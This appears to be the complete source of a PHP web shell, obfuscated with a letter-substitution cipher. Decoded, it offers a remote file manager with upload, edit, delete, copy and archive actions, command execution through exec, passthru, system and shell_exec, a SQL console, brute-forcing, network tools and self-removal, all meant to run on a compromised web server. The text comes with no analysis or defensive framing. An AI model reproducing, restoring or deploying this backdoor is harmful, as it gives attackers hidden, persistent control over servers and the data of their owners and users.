pkpehWtega>5?vahaewa$9$Dtlt[qjeia,#v#-?oavjah$9$Dtlt[qjeia,#w#-?a|thmjo$9$#lppt>++a|thkmp)`f*gki+hmwp*tlt;`awgvmtpmkj9#?mb,wpvtkw,#Hmjq|#($ oavjah-$%99$behwa-a|thmjo$*9$qvhajgk`a,#Hmjq|$Oavjah$#$*$wqfwpv, vahaewa(4(2--?ahwaa|thmjo$*9$qvhajgk`a, oavjah$*$#$#$*$wqfwpv, vahaewa(4(7--?mb,%bqjgpmkj[a|mwpw,#tkwm|[capacm`#--$qwav$9$Dcap[gqvvajp[qwav,-?qm`$9$Dcapi}qm`,-?cm`$9$Dcapi}cm`,-?cvkqt$9$&;&?y$ahwa$qm`$9$Dtkwm|[captsqm`,tkwm|[capaqm`,--?cm`$9$Dtkwm|[capcvcm`,tkwm|[capacm`,--?qwav$9$ qm`_#jeia#Y?qm`$9$ qm`_#qm`#Y?cvkqt$9$ cm`_#jeia#Y?cm`$9$ cm`_#cm`#Y?ygs`[hmjow$9$##?tepl$9$a|thk`a,&+&($ CHKFEHW_#gs`#Y-?j9gkqjp, tepl-?bkv, m94?$ m8 j)5?$ m//-$gs`[hmjow$*9$&8e$lvab9#[t3]#$kjghmgo9#c,X&BmhawIejX&(X&&?bkv, n94?$ n89 m?$ n//-gs`[hmjow$*9$ tepl_ nY*#+#?gs`[hmjow$*9$&X&-#:&* tepl_ mY*&+8+e:&?yglevwapw$9$evve},#QPB)<#($#Smj`ksw)5615#($#OKM<)V#($#OKM<)Q#($#gt<22#-?ktp[glevwapw$9$##?bkvaegl, glevwapw$ew$ mpai-ktp[glevwapw$*9$#8ktpmkj$rehqa9&#* mpai*#&$#*, [TKWP_#glevwap#Y99 mpai;#wahagpa`#>##-*#:#* mpai*#8+ktpmkj:#?i$9$evve},#Wag*$Mjbk#9:#WagMjbk#(#Bmhaw#9:#BmhawIej#(#Gkjwkha#9:#Gkjwkha#(#Wuh#9:#Wuh#(#Tlt#9:#Tlt#(#Weba$ik`a#9:#WebaIk`a#(#Wpvmjc$pkkhw#9:#WpvmjcPkkhw#(#Fvqpabkvga#9:#Fvqpabkvga#(#Japskvo#9:#Japskvo#-?mb,%aitp}, CHKFEHW_#eqpl[teww#Y--i_#Hkckqp#Y$9$#Hkckqp#?i_#Wahb$vaikra#Y$9$#WahbVaikra#?iajq$9$##?bkvaegl, i$ew$ o$9:$ r-iajq$*9$#8pl$sm`pl9&#*,mjp-,544+gkqjp, i--*#!&:_$8e$lvab9&[t3]&$kjghmgo9&c,X##* r*#X#(jqhh(X#X#(X#X#(X#X#-&:#* o*#8+e:$Y8+pl:#?`vmraw$9$&&?mb, CHKFEHW_#kw#Y$99$#smj#-$bkvaegl,vejca,#g#(#~#-$ew$ `vmra-mb,mw[`mv, `vmra*#>XX#--`vmraw$*9$#8e$lvab9&[t3]&$kjghmgo9&c,X#BmhawIejX#(X##* `vmra*#>+X#-&:_$#* `vmra*#$Y8+e:$#?yaglk$#8pefha$gheww9mjbk$gahhte``mjc97$gahhwtegmjc94$sm`pl9544!:8pv:8p`$sm`pl95:8wtej:Qjeia>8fv:Qwav>8fv:Tlt>8fv:L``>8fv:Gs`>#$*$, CHKFEHW_#kw#Y$99$#smj#;#8fv:mad:vmraw>#>##-$*$#8+wtej:8+p`:#$$$$$$$*$#8p`:8jkfv:#$*$wqfwpv,Dtlt[qjeia,-($4($564-$*$#$8e$lvab9&#$*$ a|thmjo$*$#&$pevcap9[fhejo:_a|thkmp)`f*gkiY8+e:8+jkfv:8fv:#$*$ qm`$*$#$,$#$*$ qwav$*$#$-$8wtej:Cvkqt>8+wtej:$#$*$ cm`$*$#$,$#$*$ cvkqt$*$#$-8fv:#$*$Dtltravwmkj,-$*$#$8wtej:Weba$ik`a>8+wtej:$#$*$, CHKFEHW_#weba[ik`a#Y;#8bkjp$gkhkv9va`:KJ8+bkjp:#>#8bkjp$gkhkv9[t3]44ff44:8f:KBB8+f:8+bkjp:#-$$$$$$$*$#$8e$lvab9[t3]$kjghmgo9&c,X#TltX#(jqhh(X#X#(X#mjbkX#-&:_$tltmjbk$Y8+e:$8wtej:mad:epapmia>8+wtej:$#$*$`epa,#])i)`$L>m>w#-$*$#8fv:#$*$rbgfP]Vcpgnn, pkpehWtega-$*$#$8wtej:Bvaa>8+wtej:$#$*$rbgfP]Vcpgnn, bvaaWtega-$*$#$,#*$,mjp-$, bvaaWtega+ pkpehWtega.544-$*$#!-8fv:#$*$ gs`[hmjow$*$#$#*$swkTaviwGkhkv, CHKFEHW_#gs`#Y-$*$#$8e$lvab9[t3]$kjghmgo9&c,X#BmhawIejX#(X##$*$ CHKFEHW_#lkia[gs`#Y$*$#X#(X#X#(X#X#(X#X#-&:_$lkia$Y8+e:8fv:#$*$ `vmraw$*$#8+p`:#$$$$$$$*$#8p`$sm`pl95$ehmcj9vmclp:8jkfv:8wahagp$kjglejca9&c,jqhh(jqhh(jqhh(jqhh(jqhh(plmw*rehqa-&:8ktpcvkqt$hefah9&Teca$glevwap&:#$*$ ktp[glevwapw$*$#8+ktpcvkqt:8+wahagp:8fv:8wtej:Wavrav$MT>8+wtej:8fv:#$*$D [WAVRAV_&WAVRAV[E@@V&Y$*$#8fv:8wtej:Ghmajp$MT>8+wtej:8fv:#$*$ [WAVRAV_#VAIKPA[E@@V#Y$*$#8+jkfv:8+p`:8+pv:8+pefha:#$$$$$$$*$#8pefha$wp}ha9&fkv`av)pkt>6t|$wkhm`$[t3]777?&$gahhte``mjc97$gahhwtegmjc94$sm`pl9544!:8pv:#$*$ iajq$*$#8+pv:8+pefha:8`mr$wp}ha9&ievcmj>1&:#?ybqjgpmkj$fcaP`fcf,-$mw[svmpefha$9$mw[svmpefha, CHKFEHW_#gs`#Y-;&$8bkjp$gkhkv9#[t3]61bb44#:,Svmpaefha-8+bkjp:&>&$8bkjp$gkhkv9va`:,Jkp$svmpefha-8+bkjp:&?$$$$aglk$&8+`mr:8pefha$gheww9mjbk$m`9pkkhwPfh$gahhte``mjc97$gahhwtegmjc94$sm`pl9544!$$wp}ha9#fkv`av)pkt>6t|$wkhm`$[t3]777?fkv`av)fkppki>6t|$wkhm`$[t3]777?#:8pv:8p`:8bkvi$kjwqfimp9#c,jqhh(plmw*g*rehqa(X&X&-?vapqvj$behwa?#:8wtej:Glejca$`mv>8+wtej:8fv:8mjtqp$gheww9#pkkhwMjt#$p}ta9pa|p$jeia9g$rehqa9#&$*$lpihwtagmehglevw, CHKFEHW_#gs`#Y-$*&#:8mjtqp$p}ta9wqfimp$rehqa9#::#:8+bkvi:8+p`:8p`:8bkvi$kjwqfimp9X&c,#BmhawPkkhw#(jqhh(plmw*b*rehqa-?vapqvj$behwa?X&:8wtej:Vae`$bmha>8+wtej:8fv:8mjtqp$gheww9#pkkhwMjt#$p}ta9pa|p$jeia9b:8mjtqp$p}ta9wqfimp$rehqa9#::#:8+bkvi:8+p`:8+pv:8pv:8p`:8bkvi$kjwqfimp9X&c,#BmhawIej#(jqhh(#io`mv#(plmw*`*rehqa-?vapqvj$behwa?X&:8wtej:Ieoa$`mv>8+wtej: mw[svmpefha8fv:8mjtqp$gheww9#pkkhwMjt#$p}ta9pa|p$jeia9`:8mjtqp$p}ta9wqfimp$rehqa9#::#:8+bkvi:8+p`:8p`:8bkvi$kjwqfimp9X&c,#BmhawPkkhw#(jqhh(plmw*b*rehqa(#iobmha#-?vapqvj$behwa?X&:8wtej:Ieoa$bmha>8+wtej: mw[svmpefha8fv:8mjtqp$gheww9#pkkhwMjt#$p}ta9pa|p$jeia9b:8mjtqp$p}ta9wqfimp$rehqa9#::#:8+bkvi:8+p`:8+pv:8pv:8p`:8bkvi$kjwqfimp9X&c,#Gkjwkha#(jqhh(plmw*g*rehqa-?vapqvj$behwa?X&:8wtej:A|agqpa>8+wtej:8fv:8mjtqp$gheww9#pkkhwMjt#$p}ta9pa|p$jeia9g$rehqa9##:8mjtqp$p}ta9wqfimp$rehqa9#::#:8+bkvi:8+p`:8p`:8bkvi$iaplk`9#tkwp#$AJGP]TA9#iqhpmtevp+bkvi)`epe#:8mjtqp$p}ta9lm``aj$jeia9e$rehqa9#BmhawIEj#:8mjtqp$p}ta9lm``aj$jeia9g$rehqa9#&$*$ CHKFEHW_#gs`#Y$*&#:8mjtqp$p}ta9lm``aj$jeia9t5$rehqa9#qthke`Bmha#:8mjtqp$p}ta9lm``aj$jeia9glevwap$rehqa9#&$*$,mwwap, [TKWP_#glevwap#Y-; [TKWP_#glevwap#Y>##-$*$&#:8wtej:Qthke`$bmha>8+wtej: mw[svmpefha8fv:8mjtqp$gheww9#pkkhwMjt#$p}ta9bmha$jeia9b:8mjtqp$p}ta9wqfimp$rehqa9#::#:8+bkvi:8fv$$:8+p`:8+pv:8+pefha:8+`mr:8+fk`}:8+lpih:&?ymb$,%bqjgpmkj[a|mwpw,&tkwm|[captsqm`&-$""$,wpvtkw, CHKFEHW_#`mwefha[bqjgpmkjw#Y($#tkwm|[captsqm`#-999behwa--$$$$$bqjgpmkj$tkwm|[captsqm`, t-$vapqvj$behwa?y$ymb$,%bqjgpmkj[a|mwpw,&tkwm|[capcvcm`&-$""$,wpvtkw, CHKFEHW_#`mwefha[bqjgpmkjw#Y($#tkwm|[capcvcm`#-999behwa--$$$$$bqjgpmkj$tkwm|[capcvcm`, t-$vapqvj$behwa?y$ybqjgpmkj$llbPAvfr, mj-$kqp$9$##?mb$,bqjgpmkj[a|mwpw,#a|ag#--$Da|ag, mj( kqp-?kqp$9$Dnkmj,&Xj&( kqp-?y$ahwamb$,bqjgpmkj[a|mwpw,#tewwplvq#--$kf[wpevp,-?Dtewwplvq, mj-?kqp$9$kf[cap[ghaej,-?y$ahwamb$,bqjgpmkj[a|mwpw,#w}wpai#--$kf[wpevp,-?Dw}wpai, mj-?kqp$9$kf[cap[ghaej,-?y$ahwamb$,bqjgpmkj[a|mwpw,#wlahh[a|ag#--$kqp$9$wlahh[a|ag, mj-?y$ahwamb$,mw[vawkqvga, b$9$Dtktaj, mj(&v&---$kqp$9$&&?slmha,%Dbakb, b--kqp$*9$bvae`, b(5460-?tghkwa, b-?yvapqvj$ kqp?ybqjgpmkj$rbgfP]Vcpgnn, w-$mb, w$:9$5437305<60-vapqvj$wtvmjpb,#!5*6b#($ w$+$5437305<60$-*$#$CF#?ahwamb, w$:9$540<132-vapqvj$wtvmjpb,#!5*6b#($ w$+$540<132$-$*$#$IF#?ahwamb, w$:9$5460-vapqvj$wtvmjpb,#!5*6b#($ w$+$5460$-$*$#$OF#?ahwavapqvj$ w$*$#$F#?ybqjgpmkj$swkTaviw, t-$mb$,, t$"$4|G444-$99$4|G444- m$9$#w#?ahwamb$,, t$"$4|E444-$99$4|E444- m$9$#h#?ahwamb$,, t$"$4|<444-$99$4|<444- m$9$#)#?ahwamb$,, t$"$4|2444-$99$4|2444- m$9$#f#?ahwamb$,, t$"$4|0444-$99$4|0444- m$9$#`#?ahwamb$,, t$"$4|6444-$99$4|6444- m$9$#g#?ahwamb$,, t$"$4|5444-$99$4|5444- m$9$#t#?ahwa$ m$9$#q#?m$*9$,, t$"$4|4544-$;$#v#$>$#)#-?m$*9$,, t$"$4|44<4-$;$#s#$>$#)#-?m$*9$,, t$"$4|4404-$;$,, t$"$4|4<44-$;$#w#$>$#|#$-$>$,, t$"$4|4<44-$;$#W#$>$#)#--?m$*9$,, t$"$4|4464-$;$#v#$>$#)#-?m$*9$,, t$"$4|4454-$;$#s#$>$#)#-?m$*9$,, t$"$4|444<-$;$,, t$"$4|4044-$;$#w#$>$#|#$-$>$,, t$"$4|4044-$;$#W#$>$#)#--?m$*9$,, t$"$4|4440-$;$#v#$>$#)#-?m$*9$,, t$"$4|4446-$;$#s#$>$#)#-?m$*9$,, t$"$4|4445-$;$,, t$"$4|4644-$;$#p#$>$#|#$-$>$,, t$"$4|4644-$;$#P#$>$#)#--?vapqvj$ m?ybqjgpmkj$swkTaviwGkhkv, b-$mb$,%Dmw[vae`efha, b--vapqvj$#8bkjp$gkhkv9[t3]BB4444:#$*$swkTaviw,Dbmhataviw, b--$*$#8+bkjp:#?ahwamb$,%Dmw[svmpefha, b--vapqvj$#8bkjp$gkhkv9slmpa:#$*$swkTaviw,Dbmhataviw, b--$*$#8+bkjp:#?ahwavapqvj$#8bkjp$gkhkv9[t3]61bb44:#$*$swkTaviw,Dbmhataviw, b--$*$#8+bkjp:#?ymb,%bqjgpmkj[a|mwpw,&wgej`mv&--$bqjgpmkj$wgej`mv, `mv-$`l$$9$ktaj`mv, `mv-?slmha$,behwa$%99$, bmhajeia$9$vae``mv, `l---$$$$bmhaw_Y$9$ bmhajeia?vapqvj$ bmhaw?yybqjgpmkj$swkSlmgl, t-$tepl$9$llbPAvfr,#slmgl$#$*$ t-?mb,%aitp}, tepl--vapqvj$ tepl?vapqvj$behwa?ybqjgpmkj$egpmkjBmhawIej,-$p}}AVrbgg,-?aglk$#8l5:Bmha$iejecav8+l5:8`mr$gheww9gkjpajp:8wgvmtp:t5[9t6[9t7[9&&?8+wgvmtp:#?mb,%aitp}, [TKWP_#t5#Y--$wsmpgl, [TKWP_#t5#Y-$gewa$#qthke`Bmha#>mb,%Dikra[qthke`a`[bmha, [BMHAW_#b#Y_#pit[jeia#Y($ [BMHAW_#b#Y_#jeia#Y--aglk$&Gej#p$qthke`$bmha%&?fvaeo?gewa$#io`mv#>mb,%Dio`mv, [TKWP_#t6#Y--aglk$&Gej#p$gvaepa$jas$`mv&?fvaeo?gewa$#`ahapa#>bqjgpmkj$`ahapa@mv, tepl-$tepl$9$,wqfwpv, tepl()5-99#+#-$;$ tepl> tepl*#+#?`l$$9$ktaj`mv, tepl-?slmha$,$, mpai$9$vae``mv, `l-$-$%99$behwa-$mpai$9$ tepl* mpai?mb$,$,fewajeia, mpai-$99$&**&-$xx$,fewajeia, mpai-$99$&*&-$-gkjpmjqa?p}ta$9$bmhap}ta, mpai-?mb$, p}ta$99$&`mv&-`ahapa@mv, mpai-?ahwaDqjhmjo, mpai-?yghkwa`mv, `l-?Dvi`mv, tepl-?ymb,mw[evve},D [TKWP_#b#Y--bkvaegl, [TKWP_#b#Y$ew$ b-$$$$$$$$$$$$$$$$$$$$$$$$$mb, b$99$#**#-$$$$$$$$$$$$$$$$$$$$$$$$$$$$gkjpmjqa?b$9$qvh`agk`a, b-?mb,mw[`mv, b--`ahapa@mv, b-?ahwaDqjhmjo, b-?yfvaeo?gewa$#tewpa#>mb, [WAWWMKJ_#egp#Y$99$#gkt}#-$bqjgpmkj$gkt}[tewpa, g( w( `-mb,mw[`mv, g* w--io`mv, `* w-?l$9$Dktaj`mv, g* w-?slmha$,, b$9$Dvae``mv, l--$%99$behwa-mb$,, b$%9$&*&-$ej`$, b$%9$&**&--gkt}[tewpa, g* w*#+#( b($ `* w*#+#-?y$ahwamb,mw[bmha, g* w--Dgkt}, g* w($ `* w-?ybkvaegl, [WAWWMKJ_#b#Y$ew$ b-gkt}[tewpa, [WAWWMKJ_#g#Y( b($ CHKFEHW_#gs`#Y-?y$ahwamb, [WAWWMKJ_#egp#Y$99$#ikra#-$bqjgpmkj$ikra[tewpa, g( w( `-mb,mw[`mv, g* w--io`mv, `* w-?l$9$Dktaj`mv, g* w-?slmha$,, b$9$Dvae``mv, l--$%99$behwa-mb$,, b$%9$&*&-$ej`$, b$%9$&**&--gkt}[tewpa, g* w*#+#( b($ `* w*#+#-?y$ahwamb,Dmw[bmha, g* w--Dgkt}, g* w($ `* w-?ybkvaegl, [WAWWMKJ_#b#Y$ew$ b-Dvajeia, [WAWWMKJ_#g#Y* b($ CHKFEHW_#gs`#Y* b-?y$ahwamb, [WAWWMKJ_#egp#Y$99$#~mt#-$mb,gheww[a|mwpw,#^mtEvglmra#--$$$$$$$$$$$$$$$$$$$$$$$$$ ~mt$9$jas$^mtEvglmra,-?$$$$$$$$$$$$$$$$$$$$$$$$mb$, ~mt):ktaj, [TKWP_#t6#Y($5--$$$$$$$$$$$$$$$$$$$$$$$$$$$$$gl`mv, [WAWWMKJ_#g#Y-?$$$$$$$$$$$$$$$$$$$$$$$$$$$$bkvaegl, [WAWWMKJ_#b#Y$ew$ b-$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$mb, b$99$#**#-$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$gkjpmjqa?$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$mb,Dmw[bmha, [WAWWMKJ_#g#Y* b--$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ~mt):e``Bmha, [WAWWMKJ_#g#Y* b($ b-?$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ahwamb,Dmw[`mv, [WAWWMKJ_#g#Y* b--$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ mpavepkv$9$jas$VagqvwmraMpavepkvMpavepkv,jas$Vagqvwmra@mvagpkv}Mpavepkv, b*#+#--?$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$bkvaegl$, mpavepkv$ew$ oa}9: rehqa-$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ~mt):e``Bmha,vaehtepl, oa}-($ oa}-?$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$y$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$y$$$$$$$$$$$$$$$$$$$$$$$$$$$$y$$$$$$$$$$$$$$$$$$$$$$$$$$$$gl`mv, CHKFEHW_#gs`#Y-?$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ~mt):ghkwa,-?$$$$$$$$$$$$$$$$$$$$$$$$y$$$$$$$$$$$$$$$$$$$$yy$ahwamb, [WAWWMKJ_#egp#Y$99$#qj~mt#-$mb,gheww[a|mwpw,#^mtEvglmra#--$$$$$$$$$$$$$$$$$$$$$$$$$ ~mt$9$jas$^mtEvglmra,-?$$$$$$$$$$$$$$$$$$$$$$$$bkvaegl, [WAWWMKJ_#b#Y$ew$ b-$$$$$$$$$$$$$$$$$$$$$$$$$$$$$mb, ~mt):ktaj, [WAWWMKJ_#g#Y* b--$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ~mt):a|pvegpPk, CHKFEHW_#gs`#Y-?$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ~mt):ghkwa,-?$$$$$$$$$$$$$$$$$$$$$$$$$$$$y$$$$$$$$$$$$$$$$$$$$$$$$y$$$$$$$$$$$$$$$$$$$$yy$ahwamb, [WAWWMKJ_#egp#Y$99$#pev#-$$$$$$$$$$$$$$$$$$$$$gl`mv, [WAWWMKJ_#g#Y-?$$$$$$$$$$$$$$$$$$$$ [WAWWMKJ_#b#Y$9$evve}[iet,#awgetawlahhevc#($ [WAWWMKJ_#b#Y-?$$$$$$$$$$$$$$$$$$$$llbPAvfr,#pev$gb~r$#$*$awgetawlahhevc, [TKWP_#t6#Y-$*$#$#$*$mithk`a,#$#($ [WAWWMKJ_#b#Y--?$$$$$$$$$$$$$$$$$$$$gl`mv, CHKFEHW_#gs`#Y-?yqjwap, [WAWWMKJ_#b#Y-?fvaeo?`abeqhp>$$$$$$$$$$$$$$$$mb,%aitp}, [TKWP_#t5#Y--$[WAWWMKJ_#egp#Y$9$D [TKWP_#t5#Y?[WAWWMKJ_#b#Y$9$D [TKWP_#b#Y?bkvaegl, [WAWWMKJ_#b#Y$ew$ o$9:$ b-[WAWWMKJ_#b#Y_ oY$9$qvh`agk`a, b-?[WAWWMKJ_#g#Y$9$D [TKWP_#g#Y?yfvaeo?yy`mvGkjpajp$9$Dwgej`mv,mwwap, [TKWP_#g#Y-; [TKWP_#g#Y> CHKFEHW_#gs`#Y-?mb, `mvGkjpajp$999$behwa-$aglk$#GejX#p$ktaj$plmw$bkh`av%#?fcaP`fcf,-?$vapqvj?$ychkfeh$ wkvp?wkvp$9$evve},#jeia#($5-?mb,%aitp}, [TKWP_#t5#Y--$mb,tvac[iepgl,#%w[,_E)~Y/-[,X`5y-%#($ [TKWP_#t5#Y($ iepgl--wkvp$9$evve}, iepgl_5Y($,mjp- iepgl_6Y-?yaglk$&8wgvmtp:bqjgpmkj$we,-$bkv,m94?m8`*bmhaw*ahaiajpw*hajcpl?m//-mb,`*bmhaw*ahaiajpw_mY*p}ta$99$#glagofk|#-`*bmhaw*ahaiajpw_mY*glagoa`$9$`*bmhaw*ahaiajpw_4Y*glagoa`?y8+wgvmtp:8pefha$sm`pl9#544!#$gheww9#iemj#$gahhwtegmjc9#4#$gahhte``mjc9#6#:8bkvi$jeia9bmhaw$iaplk`9tkwp:8pv:8pl$sm`pl9#57t|#:8mjtqp$p}ta9glagofk|$kjghmgo9#we,-#$gheww9glof|:8+pl:8pl:8e$lvab9#[t3]#$kjghmgo9#c,X&BmhawIejX&(jqhh(X&w[jeia[&*, wkvp_5Y;4>5-*&X&-#:Jeia8+e:8+pl:8pl:8e$lvab9#[t3]#$kjghmgo9#c,X&BmhawIejX&(jqhh(X&w[wm~a[&*, wkvp_5Y;4>5-*&X&-#:Wm~a8+e:8+pl:8pl:8e$lvab9#[t3]#$kjghmgo9#c,X&BmhawIejX&(jqhh(X&w[ik`mb}[&*, wkvp_5Y;4>5-*&X&-#:Ik`mb}8+e:8+pl:8pl:Ksjav+Cvkqt8+pl:8pl:8e$lvab9#[t3]#$kjghmgo9#c,X&BmhawIejX&(jqhh(X&w[taviw[&*, wkvp_5Y;4>5-*&X&-#:Tavimwwmkjw8+e:8+pl:8pl:Egpmkjw8+pl:8+pv:&?`mvw$9$ bmhaw$9$evve},-?j$9$gkqjp, `mvGkjpajp-?bkv, m94? m8 j? m//-$ks$9$Dtkwm|[captsqm`,Dbmhaksjav, `mvGkjpajp_ mY--?cv$9$Dtkwm|[capcvcm`,Dbmhacvkqt, `mvGkjpajp_ mY--?pit$9$evve},#jeia#$9:$ `mvGkjpajp_ mY($#tepl#$9:$ CHKFEHW_#gs`#Y* `mvGkjpajp_ mY($#ik`mb}#$9:$`epa,#])i)`$L>m>w#($Dbmhaipmia, CHKFEHW_#gs`#Y$*$ `mvGkjpajp_ mY--($#taviw#$9:$swkTaviwGkhkv, CHKFEHW_#gs`#Y$*$ `mvGkjpajp_ mY-($#wm~a#$9:$Dbmhawm~a, CHKFEHW_#gs`#Y* `mvGkjpajp_ mY-($#ksjav#$9:$ ks_#jeia#Y; ks_#jeia#Y>Dbmhaksjav, `mvGkjpajp_ mY-($#cvkqt#$9:$ cv_#jeia#Y; cv_#jeia#Y>Dbmhacvkqt, `mvGkjpajp_ mY--?mb,Dmw[bmha, CHKFEHW_#gs`#Y$*$ `mvGkjpajp_ mY--bmhaw_Y$9$evve}[iavca, pit($evve},#p}ta#$9:$#bmha#--?ahwamb,Dmw[hmjo, CHKFEHW_#gs`#Y$*$ `mvGkjpajp_ mY--`mvw_Y$9$evve}[iavca, pit($evve},#p}ta#$9:$#hmjo#($#hmjo#$9:$vae`hmjo, pit_#tepl#Y---?ahwamb,Dmw[`mv, CHKFEHW_#gs`#Y$*$ `mvGkjpajp_ mY-""$, `mvGkjpajp_ mY$%9$&*&--`mvw_Y$9$evve}[iavca, pit($evve},#p}ta#$9:$#`mv#--?yCHKFEHW_#wkvp#Y$9$ wkvp?bqjgpmkj$swkGit, e($ f-$mb, CHKFEHW_#wkvp#Y_4Y$%9$#wm~a#-vapqvj$wpvgit,wpvpkhksav, e_ CHKFEHW_#wkvp#Y_4YY-($wpvpkhksav, f_ CHKFEHW_#wkvp#Y_4YY--., CHKFEHW_#wkvp#Y_5Y;5>)5-?ahwavapqvj$,, e_#wm~a#Y$8$ f_#wm~a#Y-$;$)5$>$5-., CHKFEHW_#wkvp#Y_5Y;5>)5-?yqwkvp, bmhaw($&swkGit&-?qwkvp, `mvw($&swkGit&-?bmhaw$9$evve}[iavca, `mvw($ bmhaw-?h$9$4?bkvaegl, bmhaw$ew$ b-$aglk$#8pv#*, h;#$gheww9h5#>##-*#:8p`:8mjtqp$p}ta9glagofk|$jeia9&b_Y&$rehqa9&#*qvhajgk`a, b_#jeia#Y-*#&$gheww9glof|:8+p`:8p`:8e$lvab9[t3]$kjghmgo9&#*,, b_#p}ta#Y99#bmha#-;#c,X#BmhawPkkhwX#(jqhh(X##*qvhajgk`a, b_#jeia#Y-*#X#($X#rmasX#-&:#*lpihwtagmehglevw, b_#jeia#Y->#c,X#BmhawIejX#(X##* b_#tepl#Y*#X#-?&$pmpha9#$*$ b_#hmjo#Y$*$#:8f:_$#$*$lpihwtagmehglevw, b_#jeia#Y-$*$#$Y8+f:#-*#8+e:8+p`:8p`:#*,, b_#p}ta#Y99#bmha#-;rbgfP]Vcpgnn, b_#wm~a#Y-> b_#p}ta#Y-*#8+p`:8p`:#* b_#ik`mb}#Y*#8+p`:8p`:#* b_#ksjav#Y*#+#* b_#cvkqt#Y*#8+p`:8p`:8e$lvab9[t3]$kjghmgo9&c,X#BmhawPkkhwX#(jqhh(X##*qvhajgk`a, b_#jeia#Y-*#X#(X#glik`X#-&:#* b_#taviw#Y*#8+p`:8p`:8e$lvab9&[t3]&$kjghmgo9&c,X#BmhawPkkhwX#(jqhh(X##*qvhajgk`a, b_#jeia#Y-*#X#($X#vajeiaX#-&:V8+e:$8e$lvab9&[t3]&$kjghmgo9&c,X#BmhawPkkhwX#(jqhh(X##*qvhajgk`a, b_#jeia#Y-*#X#($X#pkqglX#-&:p8+e:#*,, b_#p}ta#Y99#bmha#-;#$8e$lvab9&[t3]&$kjghmgo9&c,X#BmhawPkkhwX#(jqhh(X##*qvhajgk`a, b_#jeia#Y-*#X#($X#a`mpX#-&:A8+e:$8e$lvab9&[t3]&$kjghmgo9&c,X#BmhawPkkhwX#(jqhh(X##*qvhajgk`a, b_#jeia#Y-*#X#($X#`ksjhke`X#-&:mad:8+e:#>##-*#8+p`:8+pv:#?h$9$ h;4>5?yaglk$&8pv:8p`$gkhwtej93:8mjtqp$p}ta9lm``aj$jeia9e$rehqa9#BmhawIej#:8mjtqp$p}ta9lm``aj$jeia9g$rehqa9#&$*$lpihwtagmehglevw, CHKFEHW_#gs`#Y-$*&#:8mjtqp$p}ta9lm``aj$jeia9glevwap$rehqa9#&*$,mwwap, [TKWP_#glevwap#Y-; [TKWP_#glevwap#Y>##-*&#:8wahagp$jeia9#t5#:8ktpmkj$rehqa9#gkt}#:Gkt}8+ktpmkj:8ktpmkj$rehqa9#ikra#:Ikra8+ktpmkj:8ktpmkj$rehqa9#`ahapa#:mad:ahapa8+ktpmkj:&?$$$$mb,gheww[a|mwpw,#^mtEvglmra#--$$$$$$$$aglk$&8ktpmkj$rehqa9#~mt#:Gkitvaww$,~mt-8+ktpmkj:8ktpmkj$rehqa9#qj~mt#:Qjgkitvaww$,~mt-8+ktpmkj:&?$$$$aglk$&8ktpmkj$rehqa9#pev#:Gkitvaww$,pev*c~-8+ktpmkj:&?$$$$mb,%aitp}, [WAWWMKJ_#egp#Y-$""$Dgkqjp, [WAWWMKJ_#b#Y--$$$$$$$$aglk$&8ktpmkj$rehqa9#tewpa#:Tewpa$+$Gkitvaww8+ktpmkj:&?$$$$aglk$&8+wahagp:"jfwt?&?$$$$mb,%aitp}, [WAWWMKJ_#egp#Y-$""$Dgkqjp, [WAWWMKJ_#b#Y-$""$,, [WAWWMKJ_#egp#Y$99$#~mt#-$xx$, [WAWWMKJ_#egp#Y$99$#pev#---$$$$$$$$aglk$&bmha$jeia>$8mjtqp$p}ta9pa|p$jeia9t6$rehqa9#swk[&$*$`epa,&]i`[Lmw&-$*$&*&$*$, [WAWWMKJ_#egp#Y$99$#~mt#;#~mt#>#pev*c~#-$*$&#:"jfwt?&?$$$$aglk$&8mjtqp$p}ta9#wqfimp#$rehqa9#::#:8+p`:8+pv:8+bkvi:8+pefha:8+`mr:&?fcaP`fcf,-?ybqjgpmkj$egpmkjBmhawPkkhw,-$mb,$mwwap, [TKWP_#t5#Y-$-[TKWP_#t5#Y$9$qvh`agk`a, [TKWP_#t5#Y-?mb,D [TKWP_#t6#Y99#`ksjhke`#-$mb,Dmw[bmha, [TKWP_#t5#Y-$""$Dmw[vae`efha, [TKWP_#t5#Y--$kf[wpevp,&kf[c~lej`hav&($04=2-?lae`av,&Gkjpajp)@mwtkwmpmkj>$eppegliajp?$bmhajeia9&*fewajeia, [TKWP_#t5#Y--?mb$,bqjgpmkj[a|mwpw,&imia[gkjpajp[p}ta&--$p}ta$9$Dimia[gkjpajp[p}ta, [TKWP_#t5#Y-?lae`av,&Gkjpajp)P}ta>$&$*$ p}ta-?y$ahwa$$$$$$$$$$$$$$$$lae`av,&Gkjpajp)P}ta>$etthmgepmkj+kgpap)wpvaei&-?bt$9$Dbktaj, [TKWP_#t5#Y($&v&-?mb, bt-$slmha,%Dbakb, bt--aglk$Dbvae`, bt($5460-?bghkwa, bt-?yya|mp?ymb,$D [TKWP_#t6#Y$99$#iobmha#$-$mb,%bmha[a|mwpw, [TKWP_#t5#Y--$bt$9$Dbktaj, [TKWP_#t5#Y($#s#-?mb, bt-$[TKWP_#t6#Y$9$&a`mp&?bghkwa, bt-?yyyp}}AVrbgg,-?aglk$#8l5:Bmha$pkkhw8+l5:8`mr$gheww9gkjpajp:#?mb,$%bmha[a|mwpw,D [TKWP_#t5#Y-$-$aglk$#Bmha$jkp$a|mwpw#?fcaP`fcf,-?vapqvj?yqm`$9$Dtkwm|[captsqm`,Dbmhaksjav, [TKWP_#t5#Y--?mb,% qm`-$qm`_#jeia#Y$9$Dbmhaksjav, [TKWP_#t5#Y-?cm`_#jeia#Y$9$Dbmhacvkqt, [TKWP_#t5#Y-?y$ahwa$ cm`$9$Dtkwm|[capcvcm`,Dbmhacvkqt, 